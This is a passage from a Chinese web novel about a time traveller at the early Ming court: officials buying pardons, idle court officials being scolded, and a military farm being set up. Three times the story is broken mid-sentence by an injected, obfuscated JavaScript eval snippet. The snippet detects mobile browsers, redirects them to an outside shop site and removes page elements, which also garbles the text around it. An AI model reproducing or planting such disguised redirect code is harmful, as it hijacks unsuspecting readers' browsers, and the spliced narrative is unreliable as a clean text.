玛德,不行,得找个时间好好和朱标谈谈工资的问题,这活没点甜头还天天这么早上班,不得劲啊…… 不过他也知道现在正事要紧,便也没有拒绝,是麻利地把包袱和信递到了朱标案台上。 “打开包袱看看吧。” “是。” 在案台上,朱安宁和朱标,是一下就被那些首饰晃花了眼。 当然,他们也没有放过那一沓厚厚的大明宝钞。 要知道,现在只是洪武十二年,大明宝钞贬值还不明显的朝代,不是很好用不代表它不能用啊! 朱安宁震惊地看了眼下面的那人。 不由得轻声问了句:“大哥,这人是干嘛的,这么多钱银!” 朱标也是一脸震惊。 其实空印案和郭桓案之所以会牵连甚广,确实就是因为明初的官员很多拿起好处来是毫无节制的。 或者说,他们还在延续元末的行事惯性。 正史中,事后朱元璋在《大诰》中感叹说:“古往今来,贪赃枉法者大有人在,但是做得这么过分的,实在是不多!” 便可以知道这群人有多贪了。 “掌礼乐、郊庙、社稷、坛壝、陵寝……”朱标轻声回答了朱安宁的问题。 他现在也是很震惊。 倒不是说他没见过这么多财物。 而是说,这就是个太常寺卿啊……怎么这么多钱银! 朱标头皮发麻地继续看了下去。 那信上洋洋洒洒写的无外乎就是说自己怎么贪赃枉法的,最后还附上了一些不好携带的财物清单……看得连朱标都倒吸了一口凉气。 “看来……白大人是真正的肱股之臣啊……这般是,小过小过……退下吧。” 他做了一番评价,算是兑现了朱元璋在朝堂上的承诺,只要上交,就一笔勾销。 那太常寺卿白杰,听到太子说是小过时。 那是激动不已。 他知道这把是做对了。 钱财身外事! 甚至他死了也不算什么了! 但是他孩子,还有他族里的人,如果因为他而不能入朝为官! 那自己大概率就要从族谱中除名了啊,谁会认他白杰! 这是他决不允许发生的,所以才会如此果断地献上了自家大半财物! 现在来看,做对了! 只要自己还能当官,自己家人孩子还能当官。 那便还有机会,钱财身外事啊! 古人诚不欺我! 他这般想着,终是松了口气,退了下去。 第二人是马不停蹄,立马冲了进来。 他抬头便看见了正在把那些财物转给宋慎记录的朱安宁,当然也是看到了他手中那沓宝钞。 有点多啊! 看来那白杰悔罪的诚意很足啊。 幸好自己也有所准备。 这第二人也是如同白杰那般,直接就跪了下去。 “臣有罪!” 第二百章 社畜就是要有觉悟 时间已经是下午。 三人都没有吃午饭。 因为…… 没有时间。 至于心情嘛,他们都已经从最开始的震撼,变成了现在的麻木。 虽说上交议罪银的数量超过第一个太常寺卿白杰的人并不多…… 但是架不住人多啊! 这些都是帝国的人才啊。 明初就这B样了,朱安宁都不敢想象明末的时候有多癫…… 不,说不定明中就很癫了,想想嘉靖哥…… 而宋慎,他早就已经没有办法再去好好清点实物财物。 因为太多啦! 他只能一份一份地把那些金银首饰,玉石古玩先放到一边,做上名字记号。 而他也从最开始的,对这事情一无所知,到现在,慢慢搞清楚了这太子和朱詹事是在干嘛…… 也算是弄清楚了,那些大臣为何进来就跪下! 这……这太子和朱詹事干的是……有违公理的事情啊! 这不是用钱银抵消自己的罪过么! 那些官员的罪己书,宋慎可是听在耳中的。 虽然听起来好像都是不轻不重的事情。 但是作为文人,宋慎可太懂他们避重就轻的本事了…… 若是方孝孺在这里,少不了又是一阵骂战。 但是,宋慎就是宋慎,他觉得,把事干完再问,才是更好的选择。 略微有些空旷的殿内。 来去就是臣有罪之类的声音。 完了就是好些啰嗦的文臣,已经开始花团锦簇地开始描绘自己是如何被迫上了贼船,自己虽然罪该万死但是还是心向陛下心向太子之类云云。 甚至有几个脑子活泛的,还顺带开始夸朱安宁…… 直接就是让本就宿醉有点头疼的朱安宁,痛苦不堪起来。 他算是突然理解朱元璋为什么能写出骂文人这样的诗歌了…… 叽叽喳喳几只鸦,满嘴喷粪叫呱呱。今日暂别寻开心,明早个个烂嘴丫! 老朱原来是天天受这折磨啊! 也就是朱标性子好,他端坐在那里,好好地听完了每一个大臣的话。 待到最后一个大臣离去。 确定外面已经无人后,三人才长长地舒了口气。 朱安宁更是不堪,他已经快要直接瘫软在了座椅上。 三人都下意识地看下了宋慎身后那满地的金银玉石,以及他桌面堆高到快要把他埋起来的宝钞…… 论搞钱,他们还是专业的啊…… 朱安宁感叹了一声。 自己哼哧哼哧种田根本没赚一毛。 起家的钱还是卖了些茅台给老朱才支棱起来的。 “这恐怕已经够好几个部的月度开支了……不……小半年估计都能撑下去。这还只是说涉案不深啊,真的难以想象,现在在牢狱之中的那批,还有地方官吏,究竟贪了多少钱银。” 沉默了半晌,朱标站了起来。 他如老朱一般,都对自己的能力相当有信心,但是架不住下面虫豸多。 他们爷俩都知道下面的人贪,但是也没想到能这么贪。 盯了班上。 他不在看向那堆钱银。 而是外面。 “原本我还反对父亲设立锦衣卫,认为权柄过重,但是现在来看,父亲才是对的。” 他站在大殿中心,喃喃之语。 却把朱安宁吓了一跳。 什么B动静? 锦衣卫就这样设置了? 对了,那天那个抓人的就是毛骧…… 这老哥看着就狠,他不由得抖了抖。 毕竟后世对锦衣卫的描述,都过于牛逼,狠辣,现在自己也好赖是个官,是不是也在锦衣卫的监察之下啊? 不过也只是抖了瞬间。 很快他又缓了过来,毕竟他一没贪二没抢……除非锦衣卫给自己罗织罪名,不然怎么地也轮不到自己吧…… 应该吧…… “这议罪银啊……确实有些多……不过太子殿下,有了这批银子,这几年大灾带来的影响,应该可以抹平一些了。” 朱安宁看着朱标有些难受,便也上去劝慰了两句。 “嗯,但是只是抹平了些钱银上的问题,最重要的储粮,还未说完全解决,毕竟银子再多,钞票再多,也不能当饭吃吧。” “太子说的是!种田,只有种田才是唯一的出路!” 说起这个,朱安宁可就不困不累了。 朱标则也是笑了起来,回道:“都这个时辰了,五弟他们应该已经去往江宁屯田驻地了。就在你永乐庄附近,我也顺道过去看看吧。” 这样的以钱免罪的办法,它无疑破坏了公正公平的社会秩序。 所幸朱标和朱元璋,都是立马就认识到了其中的不对劲。 也就准备用这一次而已。 不然…… 朱安宁就要从引进新粮的有功之人,变成遗臭万年的罪人了。 “相林,你且留在这里清点,晚些我让父皇他们也过来看看,我和安宁,就先去江宁屯田所那边了。” 朱标回头对宋慎说了句。 然后便和朱安宁踏 出了殿外。 在殿内呆了大半天,两人走到外面,多少有点恍如隔世的感觉。 殿外本来候着的那群官员已经走光。 只有几个太监和侍卫在远处守着。 朱安宁看了眼不远处的詹事府,突然开口道。 “太子,我能否过去和他们说两句,毕竟江宁屯田所要开了,他们还不知道自己要去帮忙啊。” 他指了指詹事府的方向。 “可以,我也去吧。” 朱标点了点头,两人是迈开步子,不消一会,便回到了詹事府中。 朱安宁刚推开门。 便看见了两个躺在躺椅上的年轻人。 四人开始对视。 空气中多少有点尴尬的气氛。 神仙工作啊,可惜了……这批也遇上了自己。 朱安宁略微愧疚了一下下! 但是,更多的是开心。 农夫那边的职业学院是要办的。 但是! 受限于农夫们的受教育水平,他是没有准备教什么很复杂的东西的。 现在就不一样了,你看这批年轻人,身强体壮,充满活力,还天天闲着没事干,而且,能进詹事府,再菜,也是读过书的吧!这就和那些农夫有了巨大的差别了啊! 最重要的是! 这批人他不用自己掏钱,就能指挥他们干活啊! 好像有点爽。 如果回到现代也能这样就好了。 他包给他们安排007的! 两个年轻人见了鬼似的,一下就重回了屋子里。 然后立马传来了闹腾的声音。 不用说,肯定实在收拾什么牌啊围棋啊,或者是叫醒那些还在睡觉的同伴。 朱标是看得尴尬不已。 “让你见笑了,我这詹事府,恐怕还不如你的永乐庄……” “诶……太子严重了,我看他们,也很好嘛。” “很好?” 朱标愣了愣,一时间没有听懂朱安宁的话语。 而此时朱安宁已经慢悠悠地往门口走去。 他敲了敲那房门,对里面大喊了一声。 “你们收拾好了么?我可以进来了么?” 这话说得是嘲讽无比,但是里面的人却也只能憋着。 毕竟理亏。 朱安宁一步踏了进去。 朱标在旁边也有没犹豫。 两人打量了一下里面的情况。 松开的官袍,大概这几个就是睡觉的。 还有两三人脸上还画着龟,估计不是打牌就下棋。 饶是朱标脾气再好,他也怒了起来。 他知道詹事府是烂了,但是这群人一直也就是没有给他带来什么麻烦,他便也没有管。 没想到这群人,真就是天天在这里…… 结果朱标刚想发飙。 朱安宁却先开了口。 “诸位好像和我差不多大吧。” 他扫了眼里面那些人。 “呃……连回话都不敢回了?”朱安宁过去打量了几个衣着还算得体,脸色没有画龟的人。 这几人,应当是没有烂得这么过分的。 朱安宁也只能推测。 虽知道这里具体什么情况嘛…… 空气又凝固了下来。 过了不知多久,终于有人回了话。 “回大人!你我年纪应当相仿!” 一个个头比朱安宁至少高了小半个头的年轻人回答了他的话。 这样朱安宁眼睛亮了起来。 以前还在工作的时候,他去见过不少公司,有些半死不活的公司里,来去都是混子,就像现在的詹事府,但是并不是代表里面就没有有想法的人啊! 这人好像还不至于太混! 朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378804|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安宁立马就锁定了他。 “你叫什么名字。” 他微微远离了下那大个头。 “回大人,我乃詹事府舍人,燕晓柳。” 那大个头,也还算有礼,一边行礼一边回了话。 朱标则饶有兴致地看起了朱安宁的表演。 最初进来看到这般光景,他是愤怒的。 但是看着朱安宁,他好像有什么想法的样子,便也是开始觉得有趣,是寻了个位置,坐了下来。 听那朱安宁和燕晓柳的对话。 “你家中应当有个大哥吧。” 这话就是明知故问了。 朱标也好朱元璋也好,是早就隐晦地告诉过他,这詹事府的情况的。 品级高的就是朝中大臣挂职,基本不会出现在詹事府。 品级低的呢,那就是勋贵们的庶出子弟在这边混吃等死,反正也袭不了爵,有个官职在身,也好过无所事事。 那么既然都是庶出的话,肯定得有嫡子啊! “回大人,胞兄在地方任千户……” “啊,千户啊……那做得好,到时军功赫赫,不得升个什么指挥佥事或者指挥使啊。” 朱安宁说得随意。 却也是把整个房子的人说得冷汗之冒。 怎么,这种官是批发的不成? “不敢不敢……”那燕晓柳是连忙诚惶诚恐地开始做谢罪模样 。 “是你不敢还是你哥不敢?”朱安宁突然换了个话题。 他也寻了张凳子,直接就拉到了屋子中间。 没办法,宿醉,刚才又忙活了半天还没吃饭,他实在是没力气了。 “啊?” 看着朱安宁坐在了众人的中间。 这群舍人,正字,你看看我,我看看你,是一时间没有理解朱安宁在说些什么。 “你们家中应该都有大哥吧,他们估摸大部分人都已经身担要职了吧。” 朱安宁振声继续说了下去。 “那你们呢,还要在这里混下去?詹事府设置是用来干嘛的!” “有人能告诉我么?!” 这话是说得相当直接。 连朱标都没想到朱安宁会这么直接。 于是,太子爷从饶有兴致看戏的模样,变成了,正坐的姿势。 至于为什么朱安宁这么熟练。 那也太简单了。 电视剧看多了…… 大佬好像都是这么训小弟的吧。 看嘉靖训他的大臣也是这么狗叫的呀…… 好像还会吟诗作对,不过这个不行,嘉靖有文化。 他朱安宁文化有限,就不献丑了。 “还没人能回答我啊……混都混不明白?” 朱安宁顿了顿,换了个姿势:“詹事府,是用来辅佐太子的!要打牌,去秦淮河边,那里掏钱就能打,下棋也是,别来这里!” “太子刚才说的对,你们这群人,这个鸟样子,还不如我永乐庄……永乐庄你们知道吧,一个村子,我村子里面的农夫,都比你们有用,好歹他们一年能种几百斤粮出来,能养活自己老婆孩子!” “你们呢?靠父辈的荫蔽,很了不起是吧?” 这话说得已经挺重了。 而朱安宁确实也不怕得罪人。 他只是嘴上骂得狠,实际上他又没有权力炒他们鱿鱼…… 说到底,就是嘴嗨而已。 而对于朱安宁的一番话语。 一众官吏自然是无法反驳。 而那燕晓柳咬了咬牙,竟然是就这样跪了下来,是对着朱安宁和太子的方向跪了下来。 “太子殿下,朱大人,臣昔日行事,犹如梦中漫步,浑浑噩噩,未曾深究己之职责与使命。然闻朱大人话语,犹如拨云见日,心中豁然开朗。臣深知,身为詹事府舍人,辅佐殿下、效力国家,乃臣之天职。臣愿自此振奋精神,不再沉沦于往昔之迷雾,誓为殿下效犬马之劳,共谋国家之伟业,亦期为朝廷、为百姓贡献绵薄之力。” 嗯?朱安宁的眼睛再一次了起来。 这人还真好像没烂完。 而出乎他意料的是,不仅是这燕晓柳。 一群人都跪了下来。 倒不是说朱安宁的嘴炮已经出神入化,直达鸣人级别。 而是,他的嘴炮,确实是给这群少爷们,骂出了点火气。 他们,最烦听见的便是,父辈的荫蔽! 这句话,是这詹事府里面的小官吏们,最讨厌听见的一句话。 第二百零一章 屯田开始时 要不是太子在这里,要不是这朱安宁是他们的主官,他们会表演一次纨绔子弟该有的秉性。 让朱安宁看看花儿为什么别样红。 让朱安宁知道他们的拳头有多硬。 可惜没有如果,毕竟,朱标还坐在那里。 毕竟他们家里还有长辈…… 他们只能忍着,想看着朱安宁准备继续说些什么。 特别是燕晓柳,他自认为自己并不是那么差劲的人。 但是受限于家中资源,他父亲,帮他谋得这个位置,便算是极限。 “柳儿,为父老了,你大哥始终是大哥……你……你好好在詹事府便是吧。” 这是他父亲给他交代的事情。 虽然他最初来到这里时,也曾经试过想做些什么。 他就不信了,詹事府就不能出人头地。 然后,现实很快就给了他一巴掌。 他根本折腾不起任何浪花。 因为詹事府,根本无事可做。 这官署只有在教导太子的时候才能起作用,或者是太子赋予了他们权柄,想让他们辅佐处置政事的时候,才有用。 而现在的太子,可是历史前三的太子……他根本不需要他们这些小官来办事,朱标直接去朝上找朝官就行…… 甚至名义上的主官,李文忠,都不见得会一个月来上一趟,即便过来了,也只是看一眼,然后转身就去东宫找太子。 这…… 让他无可奈何。 然后,很快就融入了组织,成为了躺平一族。 直到朱安宁的到来。 不止他一个看出来,这少詹事有点不对头。 今天虽然是瞎忙活了一天,但是,隐隐让他感受到了一丝希望。 他们都是听过朱安宁名号的。 毕竟前段时间,永乐庄可是很好的谈资。 一个地租收很低的地主,一个勋贵……也就是他们父辈祖辈过去找茬,结果还碰了一鼻子灰的地主…… 那可是太神秘了。 前段时间甚至还传出了永乐庄铁冶锻造出了绝世神兵的消息。 那可是在勋贵圈子中传的沸沸扬扬。 甚至有小道消息说,这朱安宁,弄出了亩产十石的新粮之类的事情。 总之就是突出了一个,很神秘不一般的感觉。 所以当朱安宁来到他面前,太子朱标来到这屋子的时候,他不想放过这次机会。 也许,这是他一生,唯一一次的机会了!他要把握住。 这便有了他的一跪,和一番话。 能在这詹事府的,就没有家世差的。 和燕晓柳一般反应过来的,也是直接跪下,嘴上跟着他念念有词。 而反应再慢了,也是跪了下来,只是不知道该说什么好而已。 这让朱安宁是愣了愣。 low到不行的激将法而已。 他只是想激起一两人的火气,然后拱火,怎么现在一片都跪倒了…… 这是出乎他意料的。 但是恶人还是要装下去的,不然怎么收场嘛。 “哼……嘴上说谁不会。” 朱安宁站了起来。 酒后身子有点虚,居然晃了晃差点扑街,幸好最后是站住了。 “你!”燕晓柳差点忍不住,腿是动了动,一副想站起来的样子。 幸好是后面几个人按住了他。 也是把朱安宁吓了一跳,要是这人真的蹦起来,一锤一个自己,轻轻松松…… 毕竟可是高了自己半个头的。 那身上的肌肉也不是作假。 得亏他现在宿醉,反应慢了一拍……才不至于丢脸。 而在一众詹事府官吏眼里那就有点不一样了。 这少詹事躲都不带躲的,是个男人! 朱标也是对朱安宁的表现点了点头,觉得他敢说,却也是敢于面对,自己和父亲这一步棋没有走错,就靠他盘活这詹事府了! “怎么?想打我?” 朱安宁强忍住了后退的冲动,讥讽地笑了声。 “虽承蒙陛下和太子厚爱,但是我的官职,全是我自己挣来的!这话,我敢说出来,你们呢?” 这话说出来,燕晓柳终于是忍不住了。 他跪在那里,青筋暴起,大声说道。 “敢问朱大人,你对社稷有何贡献,又对这大明,有何功绩???” “想知道?” 虽然情况有点和想象的有出入,但是依旧是达成了目的。 朱安宁回答完燕晓柳的话语,和朱标对视了一眼。 他看见朱标点了点头,才敢继续开口道。 “想知道就跟我来吧,去我的庄子一趟。” 他把话说完,转身就想离开屋子,而朱标已经先行一步。 两人一起走到了院外。 也不管后面的那些小官吏是否真的跟了上来。 “安宁小弟,你这个话可说得有点难听啊,什么叫他们是父辈荫蔽,才有资格来詹事府,我这不成垃圾堆了么?” 朱标看着朱安宁,调笑了一句。 “垃圾堆?”朱安宁摇了摇头,似乎不是很同意朱标的看法 ,他斟酌了半天,才开口道:“如果他们是垃圾的话,只会跪在那里,他们会恐惧你我的权柄而跪在那里,而不是尝试反驳我的话语。” 他的话,是话粗理不粗。 朱标则是笑了笑,没有再回话,而是领着朱安宁向宫外走去。 不出意外的。 那詹事府,很快就跟出了一群人来。 不少是,面带怒色的,年轻人。 终归,他们还是年轻人。 即便是庶出,也有自己的想法,也有自己的抱负。 只是,他们都被这牢笼,消磨太久了而已。 朱安宁想做的,便是,帮他们打开这个监牢,重新,让他们,回到外面的世界。 于是,他回头看见那群跟出来的人,也是不免笑了起来。 “太子你看,他们来了。” “哈哈,还是你有想法。” “全依仗太子坐那而已。” “我就真的是坐那而已。” “如果您不坐那里,我早就被他们打了……” “你也知道你欠打?”背着手的朱标回了句。 “这不是特事特办么……”也不管朱标有没怪罪他,他拱了拱手表示罪过。 “太子,我带一群詹事府的人去耕田会不会不太好……” “现在知道不好了?” “但是您也没有反对啊……” “说真的……”朱标顿了顿。 “嗯……”朱安宁则是有些疑惑。 “我是赞成的!”朱标跨过门槛,回了句:“只要是为大明,为社稷办事,有什么事情不能做,你庄子里,农夫们的技艺,不也是五弟和九江他们几个教的么?怎么,王公贵族都做得,他们就不做得了?” “太子说得在理。” 两人说着话,很快就来到了宫门口。 朱标招手安排了侍卫,然后要了些马。 毕竟还是得给后面的人准备。 两人等了片刻,后面的人很快就跟了上来。 和他们一同前来的,还有出乎朱安宁和朱标意料的人。 是戚祥,他正带着一群身着铠甲的士兵,向这边移动着。 恰好和从詹事府出来的众勋贵汇合到了一起。 然后不出意外的,引发了一阵骚乱。 “嗯?这不是亲卫么?什么情况,这么多人!”詹事府的官员们是一阵疑惑。 虽然他们品级不高,但是却不代表他们眼界不高。 都是应天府的京爷们,这点眼力见还是有的。 一眼就看出了这些都不是普通士兵。 而被戚祥领着的士兵们,也是被这一大群官员吓了一跳。 特别是那两个总旗,差点是刀都抽出来了,最后还是戚祥阻止了他们。 “戚叔!”远远的,朱安宁就打了个招呼。 要是平时,戚祥肯定无无所谓。 但是现在一群人在这里……不仅是一群人,太子都还在这里…… 他连忙快步走到了朱安宁的跟前,先是对朱标行了个礼才说道。 “朱爷诶,外面还是称职务比较好……” “戚叔你是……你好像也是指挥佥事对吧。” “对,你我同级,算是泽袍了,这群人可是我的老部下了,你可要好好待他们啊。” “说这些,好像戚叔你不回永乐庄似的。” “也是哦……” 两人快速交换了意见。 一旁的朱标也就权当时没听到。 士兵始终还是比那群官吏要有纪律,他们只是骚乱了一阵,很快就跟上了戚祥的步伐,来到了朱安宁和朱标的面前。 “来,岳总旗,霍总旗,这边是咱们虎贲卫的新指挥佥事,朱安宁朱大人了,认识一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378805|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 戚祥的介绍很是干脆。 毕竟是粗人。 只见那被称为岳总旗,霍总旗的两个大汉打量了下朱安宁,眼中满是惊愕。 因为……他们可是清清楚楚地看着,朱安宁是穿着文官袍的。 他们连忙看向了戚祥,想寻求一个解释。 而戚祥,这时候却突然好像患上了眼疾。 那是熟视无睹。 这事可不好解释,还是让朱安宁自己来吧…… “岳总旗,霍总旗,以后边仰仗二位了,我只是个略通一些军略的人,并没有戚叔那般的勇武,二位还是以戚叔为主就行。” 朱安宁连忙摆了摆手。 这群人大概率就是派来保护自己的而已。 朱安宁是看得很通透的。 他需要在詹事府立威,但是,他可不需要在军队里立威…… 那岳总旗,霍总旗听着朱安宁的说法,又是楞了起来。 这什么情况…… 而且太子怎么也在这里。 两个指挥佥事做自己两个总旗的主官,怎么看都是很奇怪的事情……要知道指挥佥事那是比千户大人还要高的官职啊…… 于是岳总旗,霍总旗不想问,更是不敢问,他们连忙行了个礼。 “见过太子,见过朱佥事!” 两人喊得中气十足,在他们喊完后,那些军士也是跟着大喊了起来。 “见过太子,见过朱佥事!” 声音洪亮有力。 直接是把詹事府众官吓了个踉跄。 那燕晓柳一群人,也是懵逼了起来。 “什么情况?他不是我们的主官么?怎么又变成指挥佥事了?!” 有人小声发问。 然而却没有人可以回答他。 因为众人皆是一头雾水。 而引发这堆事情的人。 此时,是完全没有解释的心情。 因为他注意到了一件很关键的事情。 他没有马…… 不对,应该说是,他不会骑马啊! 他眼看着亲卫们赶出了一群马来,明显就是给自己这群人用的。 朱安宁连忙拉住了朱标。 轻声说道:“太子莫要忘记,我可是不会骑马的,要是被这群人看到我连马都不会骑,我这好不容器竖起来的形象,可就马上垮了啊!” 他是说得非常直接。 就是怕朱标听不懂。 朱标也是难得看到朱安宁那么紧张的样子,不由得笑了起来。 “怎么?知道得端着了?” “不是端着……指挥佥事不会骑马,说出也丢太子您和陛下的脸啊……”朱安宁讪笑着回了话。 “来人,备马车。” “哎,谢谢太子……” “你我共乘马车,这说出去,怕不是又要闹出一些流言蜚语,你能受得住?” “能有什么流言蜚语,好过我在属下面前出丑吧……” 朱安宁也没想那么多,大大咧咧地回了话。 —————————————— 所谓江宁屯田,其实就是永乐庄的隔壁。 朱橚李景隆等人那是走得想当熟练。 以至于,差点就拐进了永乐庄里。 幸好最后还是朱橚及时调换了方向。 他带着一群所谓的士兵,其实就是军籍的农夫,终于是来到了这片未曾开垦的土地上。 随军的还有一大批工匠。 他们是来帮忙造房子的。 毕竟这军屯,以后将会成为永久驻地,而不是临时的那种。 更后面,则是一堆用来造房子的材料。 浩浩荡荡的,自然是引来了永乐庄一众农夫们的好奇。 胡修道和柳文也在其中。 方孝孺的课刚结束。 他们现在正是玩耍的时间。 结果却看见了路上扬起了一堆尘土,怎么能不好奇。 两人撒腿便跑到了路边,嘻嘻哈哈地看了起来。 而后,两人笑容边凝固了下来。 因为,他们看到的是熟悉的身影。 那些穿着铠甲,官袍的人,明明就是他们的先生啊…… 两人是大脑直接短路,呆在了那里。 而后赶来的农夫们。 自然也是如此。 甚至有几人,在想,是不是自己昨日的酒还没醒…… 这是出现什么幻觉了么? 第二百零二章 三方会师 和永乐庄老农们一样觉得自己眼睛一定出了问题的,还有那群詹事府的官吏。 首先,自己这群人的主官,是少詹事没错。 而后,自己这群人的主官,好像还是虎贲卫的指挥佥事…… 他们只是混子,不是弱智,都知道指挥佥事代表了什么。 虽然指挥佥事很少说能袭爵的,但是明面上就是比你千户要高,这可是正儿八经的军中高官了。 怎么?自己的顶头上司朱詹事朱大人,还略懂些拳脚还是怎么地? 本来就被整得已经有点不知所措的一众詹事府官吏们。 最后,还看见了震撼他们一整年的事情。 那就是……永乐庄地主,詹事府少詹事,虎贲卫指挥佥事,朱安宁朱大人,嘻嘻哈哈地,上了太子的马车。 …… 这,有点僭越了吧!!! 为什么太子和戚祥戚大人,都是一副理所当然的样子。 而未等他们思考。 内侍们已经牵来了足够多的马。 士兵是不用的,其他有官职的人,是人手一匹。 很快,他们便出发。 对詹事府官吏们而言,那是目的地未知…… 只能赶紧跟上。 而戚祥大手一挥。 两总旗也是就地开拔,一群人在应天府百姓惊讶的目光中,向城门外走去。 —————————— “荒地,先把草拔了,赶紧混点河泥把草肥先准备好,剩下的一把火烧了,这两年气候不太好,虫卵应该不少,得好好烧一轮。” “今日主要任务是赶紧把营扎下来先,固定的房屋,也是明天再建造吧。” 是李景隆在发号施令。 他手下这群人也算是半专业的。 老朱的屯田政策已经实施许多年了,说是战时为兵,平时为农,那现在真正战时的,一般都是边塞地区,他们军屯这批所谓士兵,其实更像是具备相当战斗力的官田佃农。 所以都是些懂行的人。 一听自己千户开口,那是多少有些意外。 特别是他手下的百户总旗们,是瞪大了眼睛。 怎么,这曹国公家的公子……好像对种田一副很熟练的样子? “水渠也要尽快挖上……但是这样会不会抢了永乐庄的水?” “这个得问问先生,听爷爷昨日回来说,今日先生好像去詹事府当值了,不知道回来没?” 一旁的刘廌,接了话,作为副千户,他着的也是武官服。 而跟在他们身后的陆贤和梅殷,总算是在李祺的解释下,搞清楚了这屯田所是干嘛的。 以及,他们所谓的履新,其实就是平调而已。 三人都是老朱的女婿,那是天然就相互亲近。 “祺哥,您说这田种的就是前些日子,闹得沸沸扬扬的新粮?!” 年纪最小的陆贤是在那疑惑不已。 市井街头不是都说是假的么。 哪有这么厉害的作物。 结果现在……是真的要种了,自己还被调来了这里。 明明自家父亲是说了,可能是要调去不好的地方了……包括梅殷也是这般说。 怎么现在一过来,要做的事情好像挺不得了啊。 但看这阵容,就不会是什么小事! 为首的毕竟是五皇子朱橚啊。 虽然他并没有前面几个皇子那般出名,但是也是马皇后之后,准备就藩宋都的藩王啊! 现在居然也来了这山卡拉的地方。 至于李景隆和刘廌刘畾,两人也都是认识。 这怎么看都不像是责罚啊…… 相反,好像是真的有重要的事情啊…… 三人看着屯田所的人和工匠,已经开始了扎营。 这代表了,这屯田所,是终于开始运作了。 而远处,一群永乐庄的村民,在边上是看得摸不着头脑。 这片荒地,屯田就屯嘛,反正田都是用来耕的,但是这是怎么回事。 带头的那几位爷,不是他们永乐庄的人么? 穿着官袍,一下还不太敢认呢。 他们站在永乐庄田地的边界上,是看得一阵疑惑。 不同于成年人的谨慎,少年们就抽象多了。 胡修道和柳文,是直接就爬到了树上。 登高望远,那是看得真切。 “你们两个娃,看清楚没,是不是就是周爷他们?” 下面的大人在催促。 胡修道却也是撂了句“急什么,不得等我们看清楚么!” 他和柳文,攀爬到了最高的位置。 得亏是少年,最多也就是压弯了枝条而已。 “好像真的是啊,另外那几个,柳文,你看穿着官袍的不就是先生他们么?” 胡修道指了指,柳文也是张望了一阵。 然后回道。 “真的耶!他们也当大官了?” “怎么?朱爷不也是当大官了么,昨日吃酒,他那桌好些大人物呢!”胡修道撇了撇嘴。 “你怎么知道是大人物?” “村里大人不说了么,赵集赵大人都是大人物了 ,结果赵大人都坐不到主位,那不是证明了剩下那些人比赵大人还要高了么?”胡修道解释了一通。 让站在更上方些的柳文点了点头。 “好像是这个理……不是,说回周爷他们几个,他们要来我们这里屯田?你看,他们好像开始扎营了。” “应该是,村里不是在传说附近的地,要用起来了么?原来是周爷他们用啊!” “那可太好了,可以找周爷他们玩了啊!” “天天就知道玩,方先生布置的功课,做完了?”胡修道咧嘴笑了起来。 “你做完了?” “没有……” “那不就是咯!” 柳文翻了个白眼,然后开始下树。 胡修道也是如此。 当他们下到下面时。 大人们自然是围了上来。 “是不是?” “是的!”两个小孩咧嘴一笑。 然后拨开了人群。 在大人们的目瞪口呆中,冲向了那边。 “喂!” 大人们连忙唤了一声。 但是根本没有阻止到这两人。 “大人就是胆小,嘻嘻。” “知道是周爷他们还有什么好怕的。”两人是撒腿跑了起来。 目标正是远方的屯田驻地。 而在田埂边的小道上,两人刚想拐个弯,去到荒地上时。 突然撞到了某人。 连同被撞那人,三人都是唉哟一声叫了出来。 胡修道好点,也就是摔到了地上。 柳文跑得快,转了个圈,那是差点掉到沟里面去。 幸好被撞那人,是伸手拉住了他。 “你们两毛毛糙糙的干嘛!” “燕爷?!” 拉住柳文的正是朱棣。 有几个醒目的村民,看到这么大阵仗,是直接就想去朱安宁那里报告。 结果开门的自然是朱棣和方孝孺。 至于那个倒霉的姬友命,还趴在那里养伤,是成梁看不过去,略微照顾了他一下,匀了间库房给他用。 几人都很确定姬友命是不敢再搞事的了,因为他在白天醒过来后,已经交代了一大堆东西。 昨日的那人可是皇帝啊…… 自己怎么掺和进了这么大的事里。 所以,朱安宁昨日说赦免他的时候,他是真的感动但是却不敢动,现在就是成梁和朱棣问什么,他就回答什么。 乖得很。 朱棣和方孝孺给村民们开了门。 然后在七嘴八舌中,总算是听到了些关键词。 有一大队人,去到了隔壁荒地那里。 带头的看着就像是周爷。 有这些关键字就够了。 朱棣立马就知晓了,这是屯田所开拔了。 算算时日也是,再不开始整,就要错过了。 他当机立断,对成梁交代了两句,便出了门,方孝孺也是跟在了后面。 结果两人还没走多远,便和两个小孩撞了个满怀。 “啊,是燕爷和方先生啊……周爷在那边,我们想去看看而已!” 胡修道麻利地爬起来,解释了两句。 “行吧,那一起去吧,那边那群人在干嘛?”朱棣指了指远处的永乐庄的农夫们,有些疑惑。 “嗨,又好奇,又不敢过去呗,不就是周爷么,他们还能吃了我们不成。” 方孝孺一听,也是乐了起来。 已经来了些日子了,和学生们还算熟悉,他笑着问道。 “周爷他们当官了,你不怕他们?” “朱爷不也当官了么?有什么好怕,先生您也教过啊,若官为民,何惧!” 听着胡修道的话,方孝孺也是笑着点了点头,似乎是还想再说些什么。 但是朱棣却连忙催促了两声。 “行了行了,现在又不是在学堂,我们快点过去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 